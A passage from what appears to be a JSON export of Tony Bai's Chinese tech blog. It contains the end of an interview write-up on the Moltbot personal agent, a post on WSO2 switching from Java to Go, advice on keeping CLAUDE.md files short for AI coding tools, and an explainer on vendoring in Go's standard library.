是打破这些围墙的终极武器。\n以 WhatsApp 为例。官方没有给个人开发者提供 API，如果你用商业 API 发太多消息，还会被封号。\nPeter 的做法是：Hack Everything。\n他直接通过 Hack 桌面端协议，让 Moltbot 能够接管他的 WhatsApp。当他在旅途中收到朋友的语音消息（比如推荐餐厅）时，Moltbot 会自动：\n下载语音文件（哪怕它是 Opus 格式）。 调用 ffmpeg 转码。 调用 Whisper 识别文字。 调用 OpenAI 提取餐厅名字和地址。 自动添加到他的 Google Maps 待去清单中。 这一切都在后台静默发生。当 Peter 打开地图时，餐厅已经在那了。\n“App 终将消亡（Melt away）。” Peter 在访谈中抛出了这个震聋发聩的观点。\n“为什么我还需要一个专门的 Fitness Pal 来记录卡路里？我只需要拍一张汉堡的照片发给我的 Agent。它知道我在麦当劳，它知道汉堡的热量，它会自动更新我的健康数据库，并建议我晚上多跑 2 公里。”\n在 Agentic Commerce 时代，用户不再需要在一个个孤立的 App 之间跳来跳去。所有的 App 都将退化为 Agent 可调用的 API（或被 Hack 成 API）。\n本地优先：隐私与红利的博弈 Moltbot 的另一个标签是 Local-first（本地优先）。\n虽然 Peter 自己也用 OpenAI 和 Anthropic 的模型（因为它们目前确实最聪明），但他花了大量精力去适配本地模型（如 MiniMax 2.1）。\n为此，他甚至给自己的 Mac Studio 拉满了 512GB 的内存。\n为什么要这么折腾？\n除了“好玩”，还有一个现实的考量：Red Tape（繁文缛节）。\n“如果你是一个公司，你想让 AI 访问你的 Gmail，你需要经过极其漫长的合规审核，甚至需要收购一家有牌照的公司。这太荒谬了。”\n但如果你在本地运行 Agent，这一切都不复存在。\n数据在你的硬盘里。 模型在你的显卡里。 操作在你的系统里。 没有人能阻止你读取自己的邮件，没有人能禁止你分析自己的聊天记录。\nPeter 甚至预言，AI Agent 的普及将直接带动高性能硬件（如 Mac Mini）的销量。“This is the liberation of data.（这是数据的解放。）”\n商业与开源：为爱发电，拒绝收编 随着 Moltbot 的爆火，无数 VC 挥舞着支票找上门，甚至有大厂想直接收购整个项目（或者招安 Peter）。\n对此，Peter 的态度非常潇洒：“I built this for me.（我是为我自己造的。）”\n他已经财务自由，不需要再为了融资去写 PPT，不需要为了增长去牺牲用户体验。\n“代码本身已经不值钱了（Code is not worth that much anymore）。在这个 AI 时代，你完全可以把我的代码删了，让 AI 几个月再写一个新的。”\n真正值钱的，是Idea（想法），是Community（社区），是Brand（品牌）。\n他更倾向于将 Moltbot 运作成为一个非营利基金会（Foundation）。他希望这成为一个属于所有人的、开放的、可 hack 的游乐场，而不是某个大厂封闭生态的一部分。\n小结：去构建你的 Loop 在访谈的最后，Peter 对所有开发者发出了呼吁：\n“Don’t just watch. Build your own agentic loop.”\n（别只是看，去构建你自己的智能体闭环。）\nMoltbot 只是一个开始。它证明了，一个拥有长期记忆（Memory）、**工具使用能力（Tools）和自主性（Autonomy）**的个人 Agent，能爆发多么惊人的能量。\n在这个时代，限制你的不再是技术门槛，而是你的想象力。\n去写几个 CLI，去 Hack 几个 API，去给你的 AI 装上“手脚”和“记忆”。\n未来，属于那些敢于用 AI 重塑生活的人！\n资料链接：https://www.youtube.com/watch?v=qyjTpzIAEkA\n你的“好玩”项目\nPeter 的故事告诉我们，技术最原本的动力是乐趣。如果给你无限的时间和算力，你最想用 AI 为自己做一个什么“好玩”的工具？是全自动点餐助\n手，还是你的专属游戏陪练？\n欢迎在评论区分享你的脑洞！别管它有没有商业价值，有趣就够了。\n如果这篇文章点燃了你久违的代码热血，别忘了点个【赞】和【在看】，并转发给你的极客朋友，一起搞点事情！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/30/clawdbot-author-peter-steinberger-full-interview/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/clawdbot-author-peter-steinberger-full-interview-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/30/clawdbot-author-peter-steinberger-full-interview\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/mm/dd/clawdbot-author-peter-steinberger-full-interview\"\u003ehttps://tonybai.com/2026/mm/dd/clawdbot-author-peter-steinberger-full-interview\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在硅谷，每天都有无数个 AI 项目诞生，它们大多有着精美的 Landing Page，有着宏大的融资计划，PPT 里写满了“颠覆行业”。\u003c/p\u003e","title":"“退休”大佬的 AI 复出战：为了“好玩”，他写出了火遍全网的 Moltbot"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/29/wso2-goodbye-java-hello-go-tech-stack-shift\n大家好，我是Tony Bai。\n“当我们 2005 年创办 WSO2 时，开发服务端企业级基础设施的正确语言毫无疑问是：Java。然而，当我们走过第 20 个年头并展望未来时，情况已经变了。”\n近日，全球知名的开源中间件厂商 WSO2 发布了一篇震动技术圈的博文——《Goodbye Java, Hello Go!》。\n这是企业级软件在云原生时代技术风向标的一次重要偏转。作为 Java 时代的既得利益者，WSO2 曾在 API 管理、集成中间件领域构建了庞大的 Java 帝国。为何在今天，他们会做出如此激进的转向？Java 真的不适合未来了吗？Go 到底赢在哪里？\n让我们深入剖析这背后的技术逻辑、架构变迁与社区的激烈争议。\n时代的变迁——从“服务器”到“函数” WSO2 的转向并非一时冲动，而是基于对过去 15 年基础设施软件形态深刻变化的洞察。其博文中极其精准地总结了这一变迁：\n“服务器”概念的消亡 在 2010 年代之前，中间件是以独立“服务器”（Server）的形式交付的。\n应用服务器 (App Servers)：如 WebLogic, WebSphere, Tomcat。 企业服务总线 (ESB)：集成了各种协议适配器的庞然大物。 业务流程服务器 (Process Servers)：管理长周期的业务状态。 那是一个“重量级”的时代。你部署一个服务器，然后把你的业务逻辑（WAR 包、JAR 包）扔进去运行。这正是 Java 和 JVM 的黄金时代——JVM 作为一个强大的运行时环境，提供了热加载、动态管理、JIT 优化等一系列高级功能，完美匹配了这种“长时间运行、多应用共享”的服务器模式。\n然而，容器化时代终结了这一切。\n现在的“服务器”不再是一个独立的实体，而变成了一个库 (Library)。\n你的业务逻辑不再是“寄生”在服务器里，而是包含了服务器。 整个应用打包成一个 Docker 镜像，作为一个独立的进程运行。 任务完成后，容器销毁，进程结束。 在 WSO2 看来，“独立软件服务器的时代已经结束了”。这对于 Java 来说，是一个底层逻辑的打击。\n生命周期：从“月”到“毫秒” 在过去，一个服务器启动慢点没关系，因为它一旦启动，可能会运行数月甚至数年。JVM 的 JIT（即时编译）机制通过预热来换取长期运行的高性能，这是一种非常合理的权衡。\n但在 Kubernetes 和 Serverless 主导的今天，服务器变得极度短暂 (Ephemeral)。\n容器根据负载自动扩缩容，新实例必须瞬间就绪。 Serverless 函数可能只存活几秒钟。 在这种场景下，启动时间就是服务质量 (SLA)。\nWSO2 指出：“容器应该在毫秒级内准备好起舞，而不是秒级。” Java 庞大的生态依赖（Spring 初始化、类加载、注解扫描）和 JVM 的启动开销，在云原生环境下显得格格不入。内存膨胀（Memory Bloat）也直接推高了云厂商的账单。\n生态位的错位：修补 vs. 原生 面对挑战，Java 社区并非无动于衷。GraalVM Native Image 试图通过 AOT（提前编译）解决启动速度问题；Project Loom 试图通过虚拟线程解决并发资源消耗问题。\n但在 WSO2 的架构师们看来，这些努力更像是一种**“追赶式的修补”**。\n“这些解决方案感觉就像是在为一个不同时代设计的语言和运行时进行翻新。”\nGraalVM 虽然强大，但带来了构建时间的剧增、反射的限制以及调试的复杂性。相比之下，Go 语言在设计之初就原生 (Native) 地考虑了这些问题：编译即二进制，启动即巅峰，并发即协程。这是一种“原生契合”与“后天适配”的本质区别。\nWSO2 的架构重构——前端不动，后端大换血 WSO2 并没有盲目地全盘推翻，他们对企业级软件的三层架构（前端、中间层、后端）进行了冷静的评估：\n前端 (Frontend)：维持现状 现状：Web (JS/TS), iOS (Swift/Flutter), Android (Kotlin/Java)。 未来：No Change。 理由：前端技术栈受限于终端设备（浏览器、手机 OS），且更新换代极快（“fad-driven”，时尚驱动）。目前没有改变的必要。 中间层 (Middle Tier)：Ballerina 的独角戏 现状：Java, Ballerina。 未来：Ballerina。 核心逻辑：这一层通常被称为 BFF (Backend for Frontend)，负责 API 聚合、编排。WSO2 自研的 Ballerina 语言正是为此而生，它将网络原语（Network Primitives）作为语言的一等公民，极其适合做集成工作。 后端 (Backend)：Go 与 Python 的双雄会 现状：Java, Go, NodeJS, Python。 未来：Go, Python。 核心逻辑：这是基础设施逻辑的核心。Python 将继续统治 AI/ML 领域，而 Go 将彻底接管原本属于 Java 的领地，成为构建高性能、高并发基础设施的首选。 为什么是 Go，而不是 Rust？ 这是一个每个技术决策者都会面临的灵魂拷问：既然要追求性能和原生编译，为什么不选 Rust？它不是更快、更安全吗？\nWSO2 的回答展现了极高的工程务实精神。他们确实评估了 Rust，但最终选择了 Go。理由如下：\n抽象层级的匹配 Rust 的战场：操作系统内核、浏览器引擎、嵌入式设备。这些场景需要对内存布局、生命周期做极致的微操，且进程几乎永不重启。 Go 的战场：中间件、API 网关、编排系统。 WSO2 构建的是中间件基础设施（如 API Gateway, Identity Server）。在这个层级，“我们总是比裸金属 (Bare Metal) 高那么一点点”。Go 提供的自动垃圾回收 (GC) 和高效的并发原语，恰好处于这个“甜点”位置。\n避免“过度杀伤” (Overkill) Rust 的所有权模型 (Ownership) 和借用检查器 (Borrow Checker) 虽然保证了内存安全，但也带来了极高的学习曲线和开发摩擦。对于大多数企业级业务逻辑来说，Rust 提供的控制力是多余的，而为此付出的开发效率代价是昂贵的。\n云原生生态的引力 这是一个无法忽视的因素。Go 是云原生的“普通话”。\nKubernetes、Docker、Prometheus、etcd、Terraform…… 几乎所有现代基础设施的基石都是用 Go 构建的。选择 Go，意味着：\n库的复用：可以直接调用 K8s 的库，而不是通过 API。 人才的复用：DevOps 工程师和 SRE 通常都懂 Go，可以无缝参与开发。 社区的共鸣：更容易融入 CNCF 生态，获得社区贡献。 实战验证——WSO2 的 Go 之旅 WSO2 并非纸上谈兵，他们在过去十年中已经在多个关键项目中验证了 Go 的能力：\nOpenChoreo (CNCF Sandbox Project) 这是 WSO2 最具野心的项目之一，一个面向 Kubernetes 的开发者平台（IDP）。\n挑战：需要深度集成 K8s，处理复杂的 GitOps 流程，且自身必须轻量、快速。 Go 的价值：作为 K8s 原生语言，Go 让 OpenChoreo 能够像原生组件一样运行在集群中，资源占用极低。 Ballerina 编译器的彻底重写 这是一个惊人的决定。Ballerina 语言最初是基于 Java 实现的（运行在 JVM 上）。现在，WSO2 正在用 Go 完全重写 Ballerina 编译器。\n目标：摆脱 JVM 的束缚，实现瞬间启动。 新架构：前端编译器用 Go 编写，直接生成基于 Go 的中间表示 (BIR)，这让 CLI 工具的体验得到了质的飞跃。 Thunder：下一代身份认证平台 身份认证（IAM）通常处于请求链路的关键路径上，对延迟极其敏感。Thunder 利用 Go 的高并发处理能力，实现了在高负载下的低延迟认证，且在容器化环境中具备极快的冷启动能力。\n社区激辩——理性的探讨与情绪的宣泄 这篇博文在 Reddit 的 r/golang 板块引发了数百条评论的激烈讨论。这不仅仅是语言之争，更是两种工程文化的碰撞。\n反方阵营：Java 依然是王者 “这是管理层的愚蠢决定”： 一位愤怒的网友评论道：“计算资源是廉价的，开发人员的时间才是昂贵的。” 他认为，虽然 Go 节省了内存，但在业务逻辑极其复杂的企业级应用中，Java 强大的 IDE 支持、成熟的设计模式和庞大的生态库能显著降低开发成本。强行切换到 Go，可能会导致开发效率的崩塌。\n“Java 并没有停滞不前”： 很多 Java 支持者指出，WSO2 对 Java 的印象似乎还停留在 Java 8 时代。现代 Java (21+) 引入了 Virtual Threads (Project Loom)，在并发模型上已经可以与 Go 的 Goroutine 媲美；而 GraalVM 的成熟也让 Java 能够编译成原生镜像，启动速度不再是短板。\n“生态位的不可替代性”： 在处理遗留系统（如 SOAP, XML, 复杂的事务处理）方面，Java 积累了 20 年的库是 Go 无法比拟的。用 Go 去重写这些复杂的业务逻辑，无异于“重新发明轮子”，且容易引入新的 Bug。\n正方阵营：Go 是未来的选择 “运维友好才是真的友好”： 一位 DevOps 工程师反驳道：“在微服务架构下，运维成本是巨大的。” Go 生成的静态二进制文件（Static Binary）是运维的梦想——没有依赖地狱，没有 JVM 版本冲突，所有东西都打包在一个几 MB 的文件里。这种部署的便捷性，是 Java 永远无法达到的。\n“简洁是一种防御机制”： Java 项目容易陷入“过度设计”的泥潭——层层叠叠的抽象、复杂的继承关系、魔法般的注解。Go 的强制简洁性（没有继承、显式错误处理）虽然写起来啰嗦，但读起来轻松。在人员流动频繁的大型团队中，Go 代码的可维护性往往优于 Java。\n“云原生的网络效应”： 正如 WSO2 所言，如果你在写 K8s Controller，如果你在写 Sidecar，如果你在写网关，Go 就是默认语言。这不仅仅是语言特性的问题，这是生态引力的问题。逆流而上使用 Java 编写这些组件，会让你失去整个社区的支持。\n小结：没有终极语言，只有最适合的工具 WSO2 的声明并非要“杀死” Java。他们明确表示，现有的 Java 产品线将继续得到长期支持。但在新一代的云原生基础设施平台上，他们坚定地选择了 Go。\n这一选择揭示了软件行业的一个趋势：通用编程语言的时代似乎正在结束，“领域专用语言”的时代正在到来。\n做前端？选 TS/JS。 做 AI 模型训练？选 Python。 做操作系统、浏览器或者嵌入式系统？选 C/Rust/C++。 做企业级业务逻辑（尤其是遗留系统）？Java 依然稳健。 做云原生基础设施、中间件、高并发服务？Go 是当之无愧的王者。 对于 Gopher 而言，WSO2 的转型是一个强有力的信号：你们选对了赛道。Go 不仅是 Google 的语言，它正在成为定义未来十年企业级基础设施的通用语。\n资料链接：\nhttps://wso2.com/library/blogs/goodbye-java-hello-go https://www.reddit.com/r/golang/comments/1qomr6g/goodbye_java_hello_go/ 你的技术栈“保卫战”\nWSO2 的转身，是时代的缩影，也是个体的写照。在你的团队中，是否也发生过类似的“去 Java 化”或“拥抱 Go”的讨论？你认为在云原生时代，Java 还能守住它的江山吗？\n欢迎在评论区分享你的观点或经历，无论是坚守者还是转型者，我们都想听听你的声音！\n如果这篇文章引发了你的思考，别忘了点个【赞】和【在看】，并转发给你的架构师朋友，看看他们怎么选！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/29/wso2-goodbye-java-hello-go-tech-stack-shift/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/wso2-goodbye-java-hello-go-tech-stack-shift-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/29/wso2-goodbye-java-hello-go-tech-stack-shift\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/29/wso2-goodbye-java-hello-go-tech-stack-shift\"\u003ehttps://tonybai.com/2026/01/29/wso2-goodbye-java-hello-go-tech-stack-shift\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“当我们 2005 年创办 WSO2 时，开发服务端企业级基础设施的正确语言毫无疑问是：Java。然而，当我们走过第 20 个年头并展望未来时，情况已经变了。”\u003c/p\u003e","title":"20 年 Java 老店的“背叛”：WSO2 为何高呼“Goodbye Java, Hello Go”？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/29/write-a-good-claude-md\n大家好，我是Tony Bai。\n在使用 Claude Code、Cursor 或 Gemini Cli 等 AI 编程工具时，你是否遇到过这样的情况：\n明明在项目根目录写了 CLAUDE.md（或 AGENTS.md），洋洋洒洒列了几十条项目规范：“使用 TypeScript”、“不要用 any”、“单元测试覆盖率要达标”……\n但 AI 就像个叛逆的实习生，经常对这些指令视而不见，反复犯同样的低级错误。\n是你写的 Prompt 不够严厉吗？还是模型不够聪明？\n最近，HumanLayer 团队发布的一篇深度分析文章揭示了真相：\n问题恰恰在于你写得太多了。\nClaude Code 的内部机制会给模型注入一条系统级提醒：\n“IMPORTANT: this context may or may not be relevant to your tasks. You should not respond to this context unless it is highly relevant.”\n（重要：此上下文可能与您的任务无关。除非高度相关，否则请忽略。）\n这意味着，你的 CLAUDE.md 越臃肿，包含的无关信息越多，它被系统判定为“噪音”并整体忽略的概率就越大。\n今天，我们来聊聊如何用工程化的思维，重构你的 AI 上下文管理。\n第一性原理：AI 是无状态的“新员工” 要写好 CLAUDE.md，首先要理解 LLM 的本质：它是无状态的（Stateless）。\n每次你开启一个新的 Session，对于 AI 来说，都是入职第一天。它对你的代码库一无所知。CLAUDE.md 是它唯一的“入职手册”和“长期记忆”。\n但这并不意味着你要把公司历史全塞给它。一个优秀的入职手册应该包含什么？\nHumanLayer 的文章中 总结了 “The Trinity”（三要素）：\nWHAT（地图）： 技术栈是什么？项目结构是怎样的？（特别是 Monorepo，告诉它哪里是 App，哪里是 Lib）。 WHY（目标）： 这个项目的核心价值是什么？核心模块的职责边界在哪里？ HOW（工具）： 怎么构建？怎么跑测试？用 npm 还是 bun？ 除此之外的任何废话，都是在消耗 AI 宝贵的注意力。\n最佳实践一：少即是多 (Less is More) 研究表明，即便是最前沿的推理模型（Thinking Models），能稳定遵循的指令上限也就在 150-200 条左右。而小模型（如 Haiku 或 GPT-4o-mini）的遵循能力随着指令数量增加呈指数级下降。\n更糟糕的是 “位置偏见（Position Bias）”。LLM 高度关注开头（System Prompt）和结尾（最新对话），夹在中间的 CLAUDE.md 如果过长，极易沦为“被遗忘的中间层”。\n因此，请遵循以下黄金法则：\n不要试图涵盖所有边缘情况。 将根目录的 CLAUDE.md 控制在 300 行以内，HumanLayer 的生产环境甚至控制在 60 行以内。 每一行都要问自己：“如果没有这句话，AI 真的干不了活吗？” 最佳实践二：渐进式披露 (Progressive Disclosure) 如果你确实有很多规范要交代，怎么办？\n答案是：不要把所有鸡蛋放在一个篮子里。\n想象一下，HR 会在入职第一天把 500 页的《数据库运维手册》扔给一个前端开发吗？不会。\n你需要构建一套**“渐进式”**的文档体系：\n1. 建立文档库：\n在项目中创建一个 .ai/docs/ 目录，存放特定领域的指南：\ntesting.md：详细的测试编写与运行指南。 database.md：Schema 定义与迁移规范。 architecture.md：核心架构图与数据流。 2. 建立索引：\n在主 CLAUDE.md 中，只保留“触发器”：\n“编写或运行测试前，请务必阅读 .ai/docs/testing.md。” “涉及数据库变更时，请参考 .ai/docs/database.md。” 这样，当 AI 只是在写一个前端组件时，它的上下文窗口就不会被无关的后端 Schema 污染。保持注意力的纯净，是提升 AI 智商的关键。\n最佳实践三：别把 AI 当 Linter 用 这是最常见的资源浪费：在 CLAUDE.md 里写了 50 行关于代码风格的规定——“缩进用 2 个空格”、“花括号不换行”、“变量名用驼峰”……\n请记住：LLM 是昂贵的推理引擎，不是廉价的格式化工具。\n让 AI 去关注缩进，就像让法拉利去送外卖，既贵又慢。而且，AI 即使知道规则，也经常因为概率性生成而“手滑”。\n正确的解法是：Tooling \u0026gt; Prompting。\n配置工具： 使用 Prettier, Biome, ESLint, govet 等确定性工具来处理格式。 设置 Hook： 配置 Claude Code 的 Stop Hook。如果 AI 生成的代码格式不对，让 Linter 报错，把错误信息喂回给 AI。 * AI: (生成代码) * System: “Lint Error: Missing semicolon.” * AI: “Ah, fixing it.” AI 极其擅长修复报错，但并不擅长凭空遵守**“隐形的规则”**。\n小结：杠杆的层级 在 AI 原生开发中，CLAUDE.md 处于**“杠杆层级”**的顶端。\n写错一行代码 = 1 个 Bug。 写错一行 CLAUDE.md = 成百上千次错误的规划、错误的检索、错误的代码。 不要盲目依赖 /init 自动生成的文件，那只是个起点。你需要像维护核心代码一样，精心雕琢你的 CLAUDE.md。\n现在，打开你的项目，检查一下那个文件。\n删掉那些废话，把长文档拆分，把格式化交给工具。\n给你的数字员工减负，它才能跑得更快。\n资料链接：https://www.humanlayer.dev/blog/writing-a-good-claude-md\n你的 CLAUDE.md 有几行？\n读完这篇文章，不妨现在就去检查一下你项目里的 CLAUDE.md。它是清爽的“入职手册”，还是臃肿的“裹脚布”？你目前的行数是多少？\n欢迎在评论区晒出你的“瘦身”成果！让我们一起给 AI 减负。\n如果这篇文章帮你解决了 AI “不听话”的难题，别忘了点个【赞】和【在看】，并转发给你的团队，规范大家的 Prompt 工程！\n构建工程化的 AI 工作流\nCLAUDE.md 只是构建 AI 原生工作流的起点。\n如何配置 Hooks 来实现自动化代码审查？ 如何编写 Sub-Agents 来处理隔离的脏活累活？ 如何设计 Slash Commands 来固化团队的 SOP？ 如果你想深入掌握 Claude Code 的高阶玩法，不仅仅是写 Prompt，而是构建一套**“自动纠错、按需加载”**的工程化体系。\n欢迎关注我的极客时间专栏**《AI 原生开发工作流实战》**。\n我们不聊虚的，只讲能在生产环境中落地的 AI 工程实践。\n扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/29/write-a-good-claude-md/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/write-a-good-claude-md-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/29/write-a-good-claude-md\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/29/write-a-good-claude-md\"\u003ehttps://tonybai.com/2026/01/29/write-a-good-claude-md\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在使用 Claude Code、Cursor 或 Gemini Cli 等 AI 编程工具时，你是否遇到过这样的情况：\u003c/p\u003e\n\u003cp\u003e明明在项目根目录写了 CLAUDE.md（或 AGENTS.md），洋洋洒洒列了几十条项目规范：\u003cem\u003e“使用 TypeScript”、“不要用 any”、“单元测试覆盖率要达标”\u003c/em\u003e……\u003c/p\u003e","title":"你的 CLAUDE.md 写错了：为什么指令越多，AI 越笨？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/28/go-standard-library-vendor-std-cmd-dependency-management\n大家好，我是Tony Bai。\n我们都知道，Go 推荐使用 Go Modules 来管理依赖。但在 Go 源码树的最深处，隐藏着一个鲜为人知的秘密：Go 标准库 (std) 和工具链 (cmd) 竟然依然在使用 vendor 目录来管理它们的外部依赖。\n为什么官方要“反其道而行之”？当你在 crypto/tls 中引入 golang.org/x/crypto 时，底层到底发生了什么？今天，让我们潜入 $GOROOT/src，解密一下 std 和 cmd 这两个特殊模块的依赖管理之道。\n标准库的双重身份：std 与 cmd 在 Go 的源码树中，其实存在着两个特殊的模块(module)，它们定义了 Go 核心代码的依赖边界：\nstd 模块 (src/go.mod)：这是我们熟知的标准库。它不仅包含 net/http、os 等核心包，还显式依赖了 golang.org/x/crypto 和 golang.org/x/net。 看看 当前 Go 主干 (Go 1.27开发分支)中的 src/go.mod：\nmodule std go 1.27 require ( golang.org/x/crypto v0.47.1-0.20260113154411-7d0074ccc6f1 golang.org/x/net v0.49.1-0.20260122225915-f2078620ee33 ) require ( golang.org/x/sys v0.40.1-0.20260116220947-d25a7aaff8c2 // indirect golang.org/x/text v0.33.1-0.20260122225119-3264de9174be // indirect ) cmd 模块 (src/cmd/go.mod)：这是 Go 的工具链。它包含了 go 命令、gofmt、pprof 等工具，其依赖更加广泛，涵盖了 x/tools、x/mod 、github.com/google/pprof，甚至是Russ Cox和Ian Taylor两位Go核心大佬的私人Go module。 当前最新cmd/go.mod内容如下：\nmodule cmd go 1.27 require ( github.com/google/pprof v0.0.0-20260115054156-294ebfa9ad83 golang.org/x/arch v0.23.1-0.20260109160903-657d90bd6695 golang.org/x/build v0.0.0-20260122183339-3ba88df37c64 golang.org/x/mod v0.32.0 golang.org/x/sync v0.19.0 golang.org/x/sys v0.40.1-0.20260116220947-d25a7aaff8c2 golang.org/x/telemetry v0.0.0-20260116145544-c6413dc483f5 golang.org/x/term v0.39.0 golang.org/x/tools v0.41.1-0.20260122210857-a60613f0795e ) require ( github.com/ianlancetaylor/demangle v0.0.0-20250417193237-f615e6bd150b // indirect golang.org/x/text v0.33.1-0.20260122225119-3264de9174be // indirect rsc.io/markdown v0.0.0-20240306144322-0bf8f97ee8ef // indirect ) 这意味着，虽然标准库被认为是“零依赖”的基石，但实际上它在内部复用了大量 golang.org/x 下的高质量代码。\nvendor 的魔法：重命名与隔离 既然用了 Module，为什么 std 和 cmd 还要维护 src/vendor 和 src/cmd/vendor 目录？\n这就涉及到了 Go 编译器的底层机制。当标准库内部的代码引入外部包时，发生了一个神奇的重命名 (Renaming) 过程。\n当 crypto/tls (在 std 模块中) 导入 golang.org/x/crypto/cryptobyte 时，编译器并不会去 Module 缓存里找，而是将其解析为：\nvendor/golang.org/x/crypto/cryptobyte\n这样做有两个关键目的：\n绝对隔离：这保证了标准库使用的 x/crypto 版本与用户项目中使用的版本是完全物理隔离的。你的项目可以依赖 v0.1.0，而标准库可以依赖 v0.47.1，两者在最终二进制中是两个路径完全不同的包，互不干扰，绝无版本冲突之虞。 路径规范：标准库有一个潜规则——包路径元素中不能包含点号（除了域名）。加上 vendor/ 前缀巧妙地将 golang.org 这种带点号的路径“内化”为了标准库的一部分。 如何维护这套系统？ 维护这套庞大的依赖系统并非易事。Go 团队在 src/README.vendor 中记录了一套严格的工程流程：\n环境准备：必须在 GO111MODULE=on 且 GOWORK=off 的纯净环境下操作。 更新流程： bash cd src # 或者 cd src/cmd go get golang.org/x/net@master # 更新依赖 go mod tidy # 清理 go.mod go mod vendor # 更新 vendor 目录 go test cmd/internal/moddeps # 运行一致性检查 发布周期：在每个 Go 主版本开发周期中，std 和 cmd 的依赖至少会被全面更新两次，以确保标准库不会滞后于社区的最佳实践。 小结 Go 官方对 std 和 cmd 的管理方式，其实是一种**“单体仓库 (Monorepo) + 依赖固化”**的最佳实践。\n稳定性优先：通过 vendor，Go 确保了标准库构建的绝对可复现性，即使在无网络环境下也能完美构建。 依赖隔离：通过路径重写，优雅地解决了“依赖地狱”中的版本冲突问题。 下次当你感叹 Go 标准库的稳定与强大时，别忘了这背后，有一套精密设计的 Vendor 机制在默默支撑着这一切。\n参考资料：https://github.com/golang/go/blob/master/src/README.vendor\n你的“Vendor”情结\n虽然 Go Modules 已经统治了世界，但 vendor 依然在标准库和许多企业级项目中发光发热。在你的项目中，你还在使用 vendor 目录吗？是\n为了离线构建，还是为了像标准库一样实现“依赖固化”？\n欢迎在评论区分享你的依赖管理策略！让我们一起探讨 Go 工程化的最佳实践。\n如果这篇文章揭开了你心中关于标准库的谜团，别忘了点个【赞】和【在看】，并转发给身边那些爱钻研源码的朋友！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 